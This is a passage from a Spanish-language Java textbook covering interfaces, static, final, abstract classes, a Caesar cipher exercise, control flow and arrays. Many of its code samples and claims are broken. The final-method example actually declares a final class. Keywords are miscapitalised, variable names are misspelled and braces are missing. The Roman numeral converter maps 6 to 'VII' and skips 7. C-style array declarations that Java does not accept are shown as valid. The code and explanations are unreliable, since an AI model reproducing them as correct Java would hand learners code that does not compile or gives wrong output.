Como ya fue comentario en la herencia simple Java no permite la

herencia múltiple, pero a cambio dispone de la construcción denominada
“Interface” que permite una forma de simulación o implementación
limitada de la herencia múltiple.

Se mostrará un esquema para mostrar más detallado “Imagen 1.28:

Imagen 1.28, Ejemplo de herencia múltiple

En el esquema anterior la herencia múltiple se representaría de la siguiente

marera hay dos clases principales: profesor y conferenciante de esta mera
se representaría la subclase. Ambas comparten características.

Una interface es una construcción similar a una clase abstracta en Java,

pero con las siguientes diferencias:

 Todo método es abstracto y público sin necesidad de declararlo, no

hace falta poner abstract public porque por defecto todos los
métodos son abstract public. Por lo tanto, una interface en Java no
implementa ninguno de los métodos que declara: ninguno de sus
métodos tiene cuerpo.
 Las interfaces no tienen ningún constructor.
 Una interfaz solo admite campos de tipo “public static final”, campos
de clase, públicos y constantes. Recordemos que static equivalía a
“de clase” y final a “constante”.

51
Un interfaz se declara de la siguiente forma:
Public interface NombredelaInterface{
Declaraciones de métodos abstractos;
[atributos constantes];
}

1.16 Ejemplo de Herencia Múltiple conocida como “Interfaz”:

Declararemos una variable de tipo de clase del interfaz, pero para

inicializarla tendremos que hacerlo de una clase que lo implemente.

Por ejemplo, podemos declarar el siguiente interfaz en Java:

interface Figura{
int area();
}

// Y una clase que lo implementa:

public class Cuadrado implements Figura {

int lado;

public Cuadrado (int ladoParametro) {

lado = ladoParametro;
}

public int area(){ return lado*lado; }

public class PruebaInterfaz{

public static void main(String args[]){

Figura figura=new Cuadrado (5);
//Podemos crear una referencia de interface(variable r) y que un objeto
que pertenezca
// a una clase que la implementa le sea asignada a la variable

52
System.out.println(figura.area());

Todo método es abstracto y público, sin necesidad de declararlo. Por lo

tanto, una interface en Java no implementa ninguno de los métodos que
declara. Las variables de la interface serán las variables miembros de la
clase.

- Una interface se implementa no se extiende.

53
 2.3. Palabra clave Static

Los atributos de una clase pueden ser atributos de clase o de instancia, si

son atributos de la clase si se usa la palabra static, en ese caso la variable
es única para todas las instancias u objetos de la clase que ocupa un
único lugar en memoria. Las variables de la clase se les llama variables
estáticas. De no usar la palabra clave static el sistema crea un lugar nuevo
para esa variable con cada instancia, las variables son diferentes para
cada objeto. En caso de ser una constante no tiene sentido crear un
nuevo lugar en memoria por cada objeto de una clase que se cree.

La declaración de la constante ha de realizarse obligatoriamente en la

cabecera de la clase, debajo de la signatura de la clase. Si lo
incorporamos como un método obtendremos un error.

Seria dentro del método main, que es un método de clase al llevar

incorporado static en la declaración, no podemos declarar constantes de
clase.

Un caso en el que nos podría ser útil static es en una clase que nos diga la
cantidad de objetos que se han creado basándose en ella.

Podemos meter una línea de código en el constructor que incremente la

variable, contador con el modificador static y así cada vez que se declare
un objeto el contador se incrementará. Desde cualquier objeto podremos
consultar el valor del contador.

1.17 Ejemplo de static:

public class Persona {

//Atributo estático de la clase
private static int nPersonas;
//Cada instancia incrementa este atributo
public Persona() {
nPersonas++;
}
//Metodo estatico que retorna un atributo estático
public static int getNPersonas() {
return nPersonas;
}
//MAIN

54
 public static void main(String[] args) {
//Se crean instancias
Persona p1 = new Persona();
Persona p2 = new Persona();
Persona p3 = new Persona();
//Accedemos al metodo estatico para ver el numero
//de instancias de tipo Persona creadas
System.out.println(Persona.getNPersonas());
}
}

1.18 Ejemplo típico de clases internas estáticas son los comparadores de

objetos:
public class Objeto {

private int campo1;

private String campo2;

public Objeto(int campo1, String campo2) {

this.campo1 = campo1;
this.campo2 = campo2;
}

private static class ObjetoComparator implements Comparator<Objeto>

{

public int compare(Objeto o1, Objeto o2) {

return o2.campo1 - o1.campo1;
}

}
}

Otra marera de declarar es en bloques de código como estáticos, de tal

manera que sean ejecutados cuando se cargue la clase. Este tipo de
bloques se conocen como bloques de inicialización estáticos (static initializer
block).

55
1.19 Ejemplo de bloque estático:
Public class Objeto {
private static int campo1;

static {
campo1=10;
}
}

Los bloques de inicialización pueden ser sustituidos por métodos estáticos.

1.20 Ejemplo 2 de bloque estático:

public class Objeto {

private static int campo1 = inicializaCampo();

private static int inicializaCampo() {

return 10;
}

Como se observa en los ejemplos anteriores, nos permite dotar de cierta ló

gica la inicialización de variables de clase estática sin necesidad de incluir
lo en su constructor.

56
 2.4. Palabra clave final
Una clase final es una clase que no puede ser extendida, es decir ninguna
otra clase la puede heredar, será entonces una clase única y que no
tendrá herederos al no poder ser extendida.

En el caso de la palabra “Final” indica que una variable de tipo constante,

no admitirá cambios después de si declaración y su asignación de valor.
Determina un atributo no puede ser sobre refinado. No funcionará como
una variable tradicional, sino como una constante. Toda constante
declarada con final se inicializa en el mismo momento declarada, también
se usa como palabra clave en otro contexto, una clase final es aquella
que no puede tener clases que la hereden.

Declaramos una clase "Madre" que será final, esto quiere decir que no
podrá ser extendida por otra.

1.21 Ejemplo de clase final:

//Se declara la clase final
Public final class ClaseMadre{
//Atributos de la clase
private int atributo1;
private String atributo2;
//Método de la clase
public void metodo1(){
System.out.print(“Hola”);
}
}

57
Un método final no puede ser redefinido por una clase hija. Esto quiere
decir que, si yo defino un método final en la clase X y luego la clase Y es
hija de la clase X, entonces la clase Y no podrá cambiar la definición de
dicho método, puesto que éste es final.

Declaramos una clase "Madre" que será tendrá un método final, esto
quiere decir que dicho método no podrá ser redefinido.

1.22 Ejemplo 2 de la palabra Final:

//Se declara la clase final

Public final class ClaseMadre{
//Atributos de la clase
private int atributo1;
private String atributo2;
//Método de la clase
public void metodo1(){
System.out.print(“Hola”);
}
}

Declaramos una clase "Hija" que extenderá de la clase "Madre" sin

problemas e intentará redefinir el método1. Esto generará un error de
compilación y no podremos ejecutar nuestro código.

//Se declara la clase como hija de la case madre

Public class ClaseHija extends ClaseMdre{

//Atributos de la clase

private int atributo1;

private String atributo2;

//Método de la clase

Public void metodo1(){

58
System.out.print(“Adios”);

//Lo anterior genera un error, no se puede redefinir un método final

public int metodo1(nt valor)

return valor;

//Esto no es un error, nos estamos redefinir al método

1.23 Ejemplo de “Final”:

public class programa03 {

private static final double IVA=15;//solo se declara una vez y se inicializa

una vez "la palabra final"

public static void main(String arg[]){

System.out.println("IVA:"+IVA);

System.out.println("IVA:"+IVA);

59
 2.5. Clases abstractas

Las clases abstractas se caracterizan por tener métodos declarados como

abstractos un método abstracto es el que está definido, pero no tiene
cuerpo, le declaramos un nombre, los paramentos y el tipo de devolución.
No le vamos a poner llaves “{}”.
Las clases abstractas permiten que otras clases hereden.

No puede crear objetos, no se pude utilizar “new” para la clase abstracta,

esto es debido a que no tiene métodos que no están definidos, a su vez
tampoco puede ser una clase “final.

Si una clase hereda de una clase abstracta, deberá de sobre escribir todos
los métodos abstractos, si no es así, la clase que hereda deberá ser pasada
a abstractas.

Una clase abstracta puede llevar métodos no abstractos, pero solo con
que exista un método abstracto, la clase deberá ser pasada a abstracta,
como los métodos estáticos no pueden ser redefinidos, un método
abstracto no puede ser estático.
Una clase abstracta si puede tener constructores.

Si al menos un método de la clase es abstract, esto obliga a que la clase

completa sea defina abstract, sin embargo, la clase puede tener el resto
de métodos no abstractos.

La primera subclase concreta, que herede de una clase abstract debe

implementar todos los métodos de la superclase.
Este tipo de clases nos permiten crear “método general”, que recrean un
comportamiento común.

60
 Imagen 1.29, Diagrama de una Interfaz y una clase abstracta

1.24 Ejemplo de cómo se declara una clase abstracta:

Public abstract class Figura {

// Atributos:
public int numeroLados;
public int area;
public int volumen;

// Métodos:
abstract public void calcularArea();
abstract public void calcularVolumen();
}

61
1.25 Ejemplo 2 de clase abstracta:
import java.util.*;
public class abstracta {

abstract class Instrumento {

public abstract void tocar();
public String tipo() {
return "Instrumento";
}
public abstract void afinar();
}

class Guitarra extends Instrumento {

public void tocar() {
System.out.println("Guitarra.tocar()");
}
public String tipo() { return "Guitarra"; }
public void afinar() {}
}

class Piano extends Instrumento {

public void tocar() {
System.out.println("Piano.tocar()");
}
public String tipo() { return "Piano"; }
public void afinar() {}
}

62
class Saxofon extends Instrumento {
public void tocar() {
System.out.println("Saxofon.tocar()");
}
public String tipo() { return "Saxofon"; }
public void afinar() {}
}

// Un tipo de Guitarra
class Guzla extends Guitarra {
public void tocar() {
System.out.println("Guzla.tocar()");
}
public void afinar() {
System.out.println("Guzla.afinar()");
}
}

// Un tipo de Guitarra
class Ukelele extends Guitarra {
public void tocar() {
System.out.println("Ukelele.tocar()");
}
public String tipo() { return "Ukelele"; }
}

63
public class Musica2 {

// No importa el tipo de Instrumento,

// seguirá funcionando debido a Polimorfismo:
static void afinar(Instrumento i) {
// ...
i.tocar();
}

static void afinarTodo(Instrumento[] e) {

for(int i = 0; i < e.length; i++)

afinar(e[i]);
}

public static void main(String[] args) {

// Declarar un Arreglo SIN INSTANCIAS es válido en Clases Abstractas
Instrumento[] orquesta = new Instrumento[5];
// Generar una INSTANCIA de una la Clase Abstracta no es valido
// Instrumento nuevo = new Instrumento();
int i = 0;
// Up-casting al asignarse el Arreglo
orquesta[i++] = new Guitarra();
orquesta[i++] = new Piano();
orquesta[i++] = new Saxofon();
orquesta[i++] = new Guzla();

64
 orquesta[i++] = new Ukelele();
afinarTodo(orquesta);
}
}
}

La característica de hacer una Clase/Método abstract es que no puede

ser generada una instancia de la misma, este comportamiento se
demuestra en el método principal “main”
Aunque dentro del método sea generado un Arreglo de esta Clase
abstracta, recuerde que un arreglo es únicamente un contenedor de
Objetos, esto permite que sea generado sin ningún error.
Dentro de comentarios se encuentra la generación de una instancia del
tipo instrumento la cual generaría un error al ser compilada la Clase.

65
 2.6. Encriptación
Dentro de la encriptación hay muchos métodos, pero en este libro
hablaremos sobre el algoritmo de código cesar.

El algoritmo del código de César es una de las técnicas

de codificación más básicas que existen, es una excelente e interesante
forma de iniciarse en el mundo del cifrado. En su forma original consiste en
trasladar las palabras del texto a cifrar un número determinado de
posiciones en el alfabeto. Este número de posiciones será la ‘clave’ que
necesitaremos para descifrar más tarde nuestro mensaje.

Este alfabeto tiene 255 caracteres por lo que las posibilidades de cifrado y
la dificultad para desencriptar se ven aumentadas.
su funcionamiento es el siguiente:

Se ingresa un texto cualquiera y en este caso será un número, ese número

correrá la posición de la letra, en cuestión n veces en el alfabeto común,
ósea si se ingresa el texto “A” y la posición 28 entonces se procede a
hacer la suma, la letra A tiene la posición 0, viéndolo desde una maquina
se toma cero como la primera posición, se suman 0 y la semilla en este
caso 28 y el resultado como tiene que estar dentro del alfabeto entonces
se modula o se divide el resultado de la suma sobre la longitud del alfabeto
y se toma el residuo como indexo de la nueva letra en su estado cifrado:

28%26 = 2
Cesar(“A”) =”C”
Así se acomodaría el alfabeto “Imagen 1.30”:

Imagen 1.30, Cifrado Cesar

66
1.26 Ejemplo de cómo cifrar en Java:

Paso número 1:

Crear un nuevo proyecto en Netbeans y agregar un jFrame y hay que

añadir los siguientes objetos:

Imagen 1.31 Ejemplo de cifrado

Paso 2:
public class c {

private String tabla = "abcdefghijklmnopqrstuvwxyzáéíóú 1234567890@.,;:-

+*/$#¿?!¡=()[]{}";

public c(){
}

public String Encriptar(String t, int key){

String texto = LimpiarCadena(t);
//aqui se almacena el resultado
String res = "";

67
 for(int i = 0; i < texto.length();i++)
{
//busca la posicion del caracter en la variable tabla
int pos = tabla.indexOf(texto.charAt(i));
//realiza el reemplazo
if ((pos + key) < tabla.length()){
res = res + tabla.charAt(pos+key);
}
else
{
res = res + tabla.charAt((pos+key) - tabla.length());
}
}
return res;
}

public String Desencriptar(String t, int key){

String texto = LimpiarCadena(t);
String res = "";
for(int i = 0; i < texto.length();i++)
{
int pos = tabla.indexOf(texto.charAt(i));
if ((pos - key) < 0){
res = res + tabla.charAt((pos-key) + tabla.length());
}
else
{

68
 res = res + tabla.charAt(pos-key);
}
}
return res;
}

private String LimpiarCadena(String t){

//transforma el texto a minusculas
t = t.toLowerCase();
//eliminamos todos los retornos de carro
t = t.replaceAll("\n", "");
//eliminamos caracteres prohibidos
for(int i = 0; i < t.length();i++)
{
int pos = tabla.indexOf(t.charAt(i));
if (pos == -1){
t = t.replace(t.charAt(i), ' ');
}
}
return t;
}
}
Paso 3:
Dentro del jFrame en los botones pondremos lo siguiente:
private void EncriptarActionPerformed(java.awt.event.ActionEvent evt) {
String t = texto1.getText();
int k = Integer.parseInt(txtkey.getText());

69
 if (k <=10){texto2.setText(c.Encriptar(t, k));}
}

private void DesencriptarActionPerformed(java.awt.event.ActionEvent evt)

{
String t = texto1.getText();
int k = Integer.parseInt(txtkey.getText());
if (k <=10){texto2.setText(c.Desencriptar(t, k));}
}

70
 3. Utilidades y Elementos del JDK

3.1. Expresiones
Una expresión es una combinación de variables, operadores y de métodos
que evalúa a un valor sencillo, el tipo de dato del valor regresado por una
expresión depende de los elementos usados en la expresión.

Las expresiones se utilizan para calcular y asignar valores a las variables y

para control el flujo. A si mismo se divide en dos partes:
1.-Calcular parámetros indicados por los elementos de la expresión.
2.-Devolver algún valor.

Los tipos de datos devueltos por la expresión depende de los elementos en

la expresión.

La expresión count++ devuelve un valor entero “int”, devuelve un valor del

mismo tipo que el operador indicado.

El método System.in.read() se ha declarado de valor “int”, de tal forma que

la expresión devuelve un entero.

Una expresión de llamada a cierto método devuelve un valor del mismo

método, es el mismo tipo de dato que el valor de retorno del método.
Dentro de una expresión es importante resaltar estos parámetros:

1.-Los identificadores son la representación que les da a los nombres que

les asignan a las variables, clases, métodos, etc. Es importante resaltar que
en el leguaje es muy estricto con la sintaxis.

Símbolos comunes en expresiones regulares:

71
 Imagen 1.32, Ejemplo de expresiones

1.27 El ejemplo sustituye las apariciones que concuerden con el patrón

"a*b" por la cadena "-".
// se importa el paquete java.util.regex
import java.util.regex.*;

public class EjemploReplaceAll{

public static void main(String args[]){
// compilamos el patron
Pattern patron = Pattern.compile("a*b");
// creamos el Matcher a partir del patron, la cadena como parametro
Matcher encaja = patron.matcher("aabmanoloaabmanoloabmanolob");
// invocamos el metodo replaceAll
String resultado = encaja.replaceAll("-");
System.out.println(resultado);
}
}

72
 3.2. Control de flujo
Las sentencias de control de flujo determinan el orden en que se
ejecutarán las otras sentencias dentro del programa.
Sin este tipo de instrucciones el programa sería totalmente lineal y limitado.

Estas instrucciones permiten evaluar condiciones lógicas o valores de

variables que ejecutaran dentro de nuestro programa estas ciertas
instrucciones dependen del valor que tomen dichas condiciones.

Previamente ya entramos algo con este tema que son los ciclos, pero lo
vamos a refirmar en esta parte en pesaremos por lo vamos básico que son
las instrucciones if, else if y else.

If: evalúa dicha condición lógica y ejecuta un bloque de código solo si

esta se cumple.
La sintaxis que debe de llevar:
If(condición inicial){
//Instrucciones que le indicaremos para ver si cumple la condición o no
}//Terminamos con nuestra condición.

La condición puede ser cualquier instrucción lógica, debe de estas entre

llaves “{}” y solamente se ejecutará si la condición es verdadera, si no es de
esa forma pasara la siguiente parte del código.

73
Imagen 1.33, Ejemplo de if y else if en diagrama de flujo

74
Imagen 1.34, Ejemplo 2 de if y else if en diagrama de flujo

75
1.33 Ejemplo de If:
//Nuestra condición es admitido
if ( admitido == true) {
System.out.println ("Se ha admitido el valor");
}// termina nuestra condición
//En caso de else cuando no se admite el valor
else {
System.out.println ("No se ha admitido el valor");
}

1.34 Ejemplo de else if:

//Empezamos la condición
if (DesplazamientoX == 0 && DesplazamientoY == 1) {
System.out.println ("Se procede a bajar el personaje 1 posición");
}
//Una segunda condicón
else if (DesplazamientoX == 1 && DesplazamientoY == 0) {

System.out.println ("Se procede a mover el personaje 1 posición a la

derecha"); }
//Una tercera condicón
else if (DesplazamientoX == -1 && DesplazamientoY == 0) {

System.out.println ("Se procede a mover el personaje 1 posición a la

izquierda");
}

//Si ninguna de estas se cumple procera a decir que los valores no son
validos.

76
 else {
System.out.println ("Los valores no son válidos");
}

1.35 Ejemplo 2 de else if:

System.out.println("Menú de opciones");
System.out.println("-------------------------");
System.out.println("1. Calcular el área de un Cuadrado");
System.out.println("2. Calcular el área de un Triángulo");
System.out.println("3. Calcular el área de un Circulo");
System.out.println("4. Finalizar");

System.out.print("Elija una opción: ");

opcion = entrada.nextInt();

if (opcion == 1) {
System.out.println("Ha seleccionado calcular el área de un
cuadrado...");
} else if (opcion == 2) {
System.out.println("Ha seleccionado calcular el área de un
triángulo...");
} else if (opcion == 3) {
System.out.println("Ha seleccionado calcular el área de un circulo...");
} else {
System.out.println("Ha seleccionado terminar");
}

77
Switch: evalúa una variable en determinados casos, dependiendo los
paramentos que nosotros deseamos, dentro de nuestros casos también
podemos meter if, else if.
La variable que tiene que ser de tipo entero o un carácter.
Cada caso lo vamos a definir con la palabra “case” dentro de las llaves,
representado una de las posibles instrucciones que puede tomar la variable.
Si el valor de la variable encaja con alguno de los case se ejecutará el
código de ese case hasta el primer break.
La instrucción break es necesaria para que detenga la ejecución, en caso
contrario seguirá buscando un case, y siempre se pondrá hasta el final de
nuestro case.
La instrucción defaul a su no vez no es necesaria, pero en caso de que se
utilice debe ir al final de todos nuestros case, y con un mensaje necesario.

La sintaxis es la siguiente:
switch (expresion) {
case valor1:
/ / Declaraciones
break; / / opcional
case valor2:
/ / Declaraciones
break; / / opcional
/ / Usted puede tener cualquier número de case.
default: / / Opcional
/ / Declaraciones que cumplirá si la variable no entra en ningún caso.
}

78
Imagen 1.35, Ejemplo de switch en diagrama de flujo

79
 Imagen 1.36, Ejemplo 2 de switch en diagrama de flujo

1.37 Ejemplo de switch:

public class Curso {

public static void main(String args[]){

char departamento = 'B';

switch(departamento)
{
case 'A' :
System.out.println("Desarrollo");
break;
case 'B' :
System.out.println(“Recursos Humanos");
break;
case 'C' :
System.out.println("Finanzas");
break;
case 'D' :
System.out.println("Mercadeo");

80
 default :
System.out.println(“Departamento invalido");
}
System.out.println(“Código para el departamento es " + departamento);
}
}

1.38 Ejemplo 2 de switch:

public class SwitchExample2 {
public static void main(String[] args) {

String menu = new String("Elija una opción: 1, 2, 3 o 4 \n");

for (int i = 1; i <= 4; i++) {
menu = menu + " opción " + i + "\n";
}
String option =
JOptionPane.showInputDialog(menu.toString());
switch (option) {
case "1":
JOptionPane.showMessageDialog(null,
"Felicitaciones, ha elegido la opción 1");
break;
case "2":
JOptionPane.showMessageDialog(null,
"Felicitaciones, ha elegido la opción 2");
break;
case "3":
JOptionPane.showMessageDialog(null,
"Felicitaciones, ha elegido la opción 3");
break;
case "4":
JOptionPane.showMessageDialog(null,
"Felicitaciones, ha elegido la opción 4");
break;
default:
JOptionPane.showMessageDialog(null, option + " no
es una opción válida");
break;
}
}

81
}

1.38 Ejemplo 3 de switch:

public class Sencillo{

public static void main(String args[]){
int a = 1;
int b = 1;
char op = '/';
System.out.print("El resultado es : ");
switch ( op ) {
case '+':
System.out.println( a + b );
break;
case '-':
System.out.println( a - b );
break;
case '*':
System.out.println( a * b );
break;
case '/':
System.out.println( a / b );
break;
default:
System.out.println("error" );
break;
}
}
}

82
Crearemos un mini programa que elija uno que hacer en dicha acción
como un menú, será seleccionar que desea hacer uno y la salida del
programa tendrá el formato siguiente:
MENU:
1.- SUMAR
2.- RESTAR
3.- MULTIPLICAR
4.- SALIR

Crearemos también métodos estáticos y públicos de cada una de las

operaciones a realizar y crearemos distintos métodos para llevar a cabo
cada operación.
import java.util.Scanner;

class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[] args)
{
int a;
do{

System.out.println("MENU\n1.-SUMAR\n2.-RESTAR\n3.-MULTI\n4.-SALIR\n");
a = leer.nextInt();
switch(a)
{
case 1:
sumar(); //llamarems al metodo sumar

83
break;
case 2:
System.out.println("Ingrese primer número a restar");
int an = leer.nextInt();
System.out.println("Ingrese segundo número a restar");
int bn = leer.nextInt();
System.out.printf("Resultado %d ", (an-bn));
leer.next();
break;
case 3:
System.out.println("Ingrese primer número a multi");
int ann = leer.nextInt();
System.out.println("Ingrese segundo número a multi");
int bnn = leer.nextInt();
System.out.printf("%d ",multi(ann,bnn));
leer.next();
break;
}
}while(a!=4); // aquí si uno aprieta el 4 como es falso que
} // 4 sea diferente de 4 se rompe el ciclo y termina
// el programa.
public static void sumar()
{
System.out.println("Ingrese primer número a sumar");
int am = leer.nextInt();
System.out.println("Ingrese segundo número a sumar");
int bm = leer.nextInt();

84
System.out.printf("Resultado %d ", (am+bm));
leer.next();
}
public static int multi(int a, int b)
{
return (a*b);
}
}

Otro caso seria del usar un poco de más ingenio y no solo seleccionar datos
aventados a lo seguro si no un ejemplo sencillo seria de cómo usar el switch
pero no definiendo directamente lo que queremos seleccionar ejemplo el
famoso también programa para convertir a números Romanos.

import java.util.Scanner;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{

int D;
int U;
int N;
int R;
int a;

do
{

System.out.println("inserta un Numero no mayor a 100:");

N = leer.nextInt();

D = N / 10; // aqui se maneja el residuo mod para

R = N % 10; // sacar las unidades obteniendo el
// residuo al dividir entre 10
// ejemplo 19 / 10 el resid. = 9

85
U = R ; - aquí se guarda el resid en U.

System.out.print( N + " a numero romano: ");

switch (D)

case 1: System.out.print("X");
break;
case 2: System.out.print("XX");
break;
case 3: System.out.print("XXX");
break;
case 4: System.out.print("XL");
break;
case 5: System.out.print("L");
break;
case 6: System.out.print("LX");
break;
case 7: System.out.print("LXX");
break;
case 8: System.out.print("LXXX");
break;
case 9: System.out.print("XC");

break;
case 10: System.out.print("C"); break;

switch (U)
{
case 0: System.out.print(""); break;
case 1: System.out.print("I"); break;
case 2: System.out.print("II"); break;
case 3: System.out.print("III"); break;
case 4: System.out.print("IV"); break;
case 5: System.out.print("V"); break;
case 6: System.out.print("VII"); break;
case 8: System.out.print("VIII"); break;
86
 case 9: System.out.print("IX"); break;

}
System.out.println();
System.out.println("Oprima 0 para salir o 1 para continuar");
a = leer.nextInt();
}
while(a==1);
}
}

En el caso de los ciclos for, while y do while solo vamos a refirmar con más
ejercicios y diagramas de flujo.

Empezaremos con el ciclo for:

Imagen 1.37, Ejemplo de diagrama de flujo for

87
1.39 Ejercicio de pirámides con ciclo for:

public class Pruebas {

public static void main (String args[]) {
for (int i=1; i<=7; i+=2) {
for (int j=1; j<=i; j++) {
System.out.print ("*");
}
System.out.println();
}
}

Imagen 1.38, Resultado del ejercicio 1.39

1.40 Ejercicio de pirámides al revés con ciclo for:

public class Pruebas {

public static void main(String[] args) {
String espacios = "";
String asteriscos = "**********";
for(int i=10;i>0;--i) {
System.out.println(espacios + asteriscos);
espacios += " ";
asteriscos = asteriscos.substring(1);
}
}
}

88
 Imagen 1.39, Resultado del ejercicio 1.40

Diagrama de flujo de do while y while:

Imagen 1.40, Ejemplo de ciclos en diagrama de flujo

89
 Imagen 1.41, Ejemplo 2 de ciclos while en diagrama de flujo

1.41 Vamos hacer el mismo ejercicio de pirámides, pero con ciclo while:

public class Pruebas {

public static void main(String[] args) {
int fila=1;
while(fila<5){
int columna=1;
while(columna<=fila){
System.out.print("*");
columna++;
}
System.out.println(" ");

90
 columna=1;
while(columna<=fila){
System.out.print("*");
columna++;
}
fila++;
}
}
}

Imagen 1.42, Solución del ejercicio 1.41

1.42 Ejercicio de pirámide con ciclo while:

public class Pruebas {

public static void main(String[] args) {
int num=Integer.parseInt(JOptionPane.showInputDialog("Digita un
número"));
int aux=num;
while(aux>0){
int i=num-aux;
while(i<num){
System.out.print("*");
i++;
}
i=num-aux;
while(i>0){
System.out.print(" ");
i--;
}
i=num-aux;
while(i<num){
System.out.print("*");
i++;
}
System.out.println();

91
 aux--;
}
while(num>0){
System.out.print("**");
num--;
}
}
}

Imagen 1.43, Solución del ejercicio 1.42

Haremos un ejemplo muy sencillo para el caso de do while

1.43 Ejercicio de suma con ciclo do while:

public class Pruebas {

public static void main(String[] args) {
int num, suma=0;
Scanner numero = new Scanner(System.in);
do {
System.out.print("Ingrese un número: ");
num = numero.nextInt();
suma+=num;
} while (num != 0);
System.out.println("La suma total da: " + suma);
//Se sale del bucle a ingresas 0.
}
}

92
 Imagen 1.44, Solución del ejercicio 1.43

1.44 Ejercicio de números con ciclo do while:

public class Pruebas {

public static void main(String[] args) {
int n;
Scanner sc = new Scanner( System.in );
do {
System.out.print("Escribe un número entre 1 y 10: ");
n = sc.nextInt();
}while (n<1 || n >10);
System.out.println("Ha introducido: " + n);
}
}

Imagen 1.45, Solución del ejercicio 1.44

93
 3.3. Arreglos
Un arreglo es un espacio de memoria que permite almacenar una serie de
datos del mismo tipo. Es una secuencia contigua de celdas o casillas, que,
en cada una, guardara un elemento del arreglo.
Para diferenciar cada elemento se utilizan subíndices entre paréntesis
cuadrados [ ].

Imagen 1.46, Arreglo

Declaración de arreglos:

tipo_dato nombre_arreglo[n];

El tipo de dato puede ser int, float, double o char, además de otros tipos.
Pero todos los elementos en el arreglo tienen que ser del mismo tipo.
n, es el tamaño del arreglo, es decir el número de elementos que se
pueden almacenar en el arreglo.

int exped[10];

Este es la declaración de un arreglo que puede guardar 10 elementos de

tipo int.

Podemos declarar e inicializar todo el arreglo:

int num[4] = {6, 3, 5, 1};

O bien hacerlo elemento por elemento:

num[0] = 6;
num[1] = 3;
num[2] = 5;
num[3] = 1;

94
 Imagen 1.47, Ejemplo de cómo se vería el arreglo

Se puede almacenar un solo elemento específico con una asignación:

num[2] = 14;

O bien mediante ciclos:

int valor[100];
int i;
for(i=0; i < 100; i++]
valor[i] = 100;

1.45 Ejercicio de número aleatorios:

¿Se han preguntado cuantas veces puede dar un número?

Que se tenga un registro de 10 tiradas y cuál es el número que cae con

mayor frecuencia. Pues veamos empezaremos con estudio estadístico de
cómo obtener los resultados de 1,000,000 de tiradas.

Pero para hacer esto primero veamos cómo sería un cáliz haciendo una
secuencia de 5 tiradas.

import java.util.Scanner;
import java.util.Random;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
System.out.println("Tiraremos un dado, cuantas veces?");
int a = leer.nextInt();

95
 Random gen = new Random();
int cara;
for (int contador = 1; contador <= a; contador++)
{
cara = 1 + gen.nextInt(6); //numero aleatorio del 1 al 6
System.out.printf("%d ",cara);// si el contador es divisible
// entre 5 salto de línea.
if(contador % 5 == 0)

System.out.println();

}
}
}

1.46 Ejercicio de 1,000,000 de tiradas:

Empecemos con sacar la frecuencia de cuantas veces cayó una cara del
dado si este se arrojó 100,000 veces.

import java.util.Scanner;
import java.util.Random;
class menu
{
public static Scanner leer = new Scanner(System.in);
public static void main(String[]args)
{
System.out.println("Tiraremos un dado, cuantas veces?, te parece que
sean más de 10000?");
int a = leer.nextInt();
Random gen = new Random();
int uno = 0;
int dos = 0;
int tres = 0;
int cuatro =0;
int cinco = 0;
int seis = 0;

96
 int cara;

for (int contador = 1; contador <= a; contador++)

{
cara = 1 + gen.nextInt(6);

switch (cara)
{
case 1:
uno++;
break;
case 2:
dos++;
break;
case 3:
tres++;
break;
case 4:
cuatro++;
break;
case 5:
cinco++;
break;
case 6:
seis++;
break;

}
}
System.out.println("las veces que cay+o cada numero fueron");
System.out.printf("Cara\t Frecuencia\n");

System.out.printf("1\t%d\n2\t%d\n3\t%d\n4\t%d\n5\t%d\n6\t%d\n",uno,
dos,tres,cuatro,cinco,seis);
leer.nextLine();
}

Veamos yo lo arroje cien millones de veces y se tardó 23 segundos se

mostrará en la siguiente imagen:
97
 Imagen 1.48, Ejemplo del ejercicio 1.46

Veamos cuánto vale cada posición tan solo declarando un arreglo con 10
elementos sin ningún valor, arrojándonos únicamente ceros ya que cuando
se crea un arreglo con ciertas posiciones o número de elementos en
automático se crea con ceros.
class numeros
{
public static void main(String[] args)
{
int[]a;
a = new int[10];
for(int i = 0; i< a.length; i++)
{
System.out.printf("%d \n",a[i]);
}
}
}

Aquí podemos observar que en el ciclo for imprime el número de índice

representado con la letra (i) y el valor de cada elemento del arreglo
representado por a[i]. Al principio la variable de control del ciclo i es 0. Los
valores de los índices empiezan desde 0, por lo que al utilizar un conteo con
base cero se permite al ciclo acceder a todos los elementos del arreglo.

La condición de continuación en el ciclo for contiene la expresión a.length

que permite acceder o recorrer a todos los elementos del arreglo y se va a
detener hasta que haya accedido a todos sus elementos que son 10.

98
En este caso la longitud del arreglo se determina con base al número de
elementos dentro de la lista inicializadora.

1.47 Ejercicio de arreglo dentro de la lista inicializadora:

int[]a = {1,45,50,7}

esto quiere decir que creamos un arreglo con 4 elementos, el dato 0 tiene
valor 1, el dato 1 = 45, dato 2 = 50 y el dato 3 = 7.
Pero ahora veamos cómo lo imprimimos:

class lista
{
public static void main(String[] args)
{
int[]a = {1,45,50,7};

for(int i = 0; i< a.length; i++)

{
System.out.printf("%d \n",a[i]);
}
}
}

Imagen 1.49, Ejemplo del ejercicio 1.47

99
1.48 Ejercicio de sumar un arreglo:

class suma
{
public static void main(String[] args)
{
int[]a = {1,45,50,7};
int sum = 0; // empezamos desde cero a contar
for(int i = 0; i< a.length; i++)
{
sum = sum + a[i];

}
System.out.printf("%d \n",sum);
}
}
Que pasa cuando ejecutamos el for pro primera vez sum = 0:
Primero pasa por el for:
res = 0 + 1;
Segundo paso:
sum = 1 + 45;
Tercer paso:
sum = 46 + 50
Cuarto paso:
sum = 96 + 7
y se imprime sum = 103

100
1.48 Ejercicio de la selección mexicana que nos indique cuantas veces ha
ganado, perdido y empatado:

import java.util.Random;
import java.util.Scanner;
class num
{
public static void main(String[] args)
{
Random xd = new Random();
Scanner leer = new Scanner(System.in);
System.out.println("Cuantas veces quieres que juegue México \ny saber
cuántas veces gano, perdió y empato?\n 1.-gano 2.- empato y 3.- perdió");
int x = leer.nextInt();
int[]a = new int[4]; //contamos la frecuencia

for(int i = 0; i< x; i++) // juega el número de veces señaladas

{
++a[1+ xd.nextInt(3)];
}
for(int res = 1; res < a.length; res ++) //imprime el valor
// de cada elemento del arreglo
System.out.printf("%d\t %d \n",res ,a[res]);
}
}

Arreglos bidimensionales:

Los arreglos pueden tener más de una dimensión.

Para declarar un arreglo bidimensional:

tipo_dato nombre_arreglo[m][n];

Donde m es el número de renglones y n es el número de columnas.
